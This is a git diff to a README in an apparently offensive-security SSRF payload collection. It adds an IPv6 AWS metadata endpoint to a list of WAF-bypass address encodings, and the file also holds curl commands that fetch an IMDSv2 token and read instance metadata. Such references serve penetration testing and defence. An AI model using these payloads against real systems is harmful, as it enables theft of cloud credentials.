diff --git a/Server Side Request Forgery/README.md b/Server Side Request Forgery/README.md index 8604f62..3e49370 100644 --- a/Server Side Request Forgery/README.md +++ b/Server Side Request Forgery/README.md @@ -550,13 +550,15 @@ Example of a PDF attachment using HTML The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) -* Old endpoint: `http://169.254.169.254/latest/meta-data/` -* New endpoint requires the header `X-aws-ec2-metadata-token` +* IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/` +* IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token` ```powershell export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"` curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data" ``` +* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/` + In case of a WAF, you might want to try different ways to connect to the API. * DNS record pointing to the AWS API IP ```powershell @@ -583,6 +585,7 @@ In case of a WAF, you might want to try different ways to connect to the API. http://[::ffff:a9fe:a9fe] IPV6 Compressed http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4 + http://[fd00:ec2::254] IPV6 ```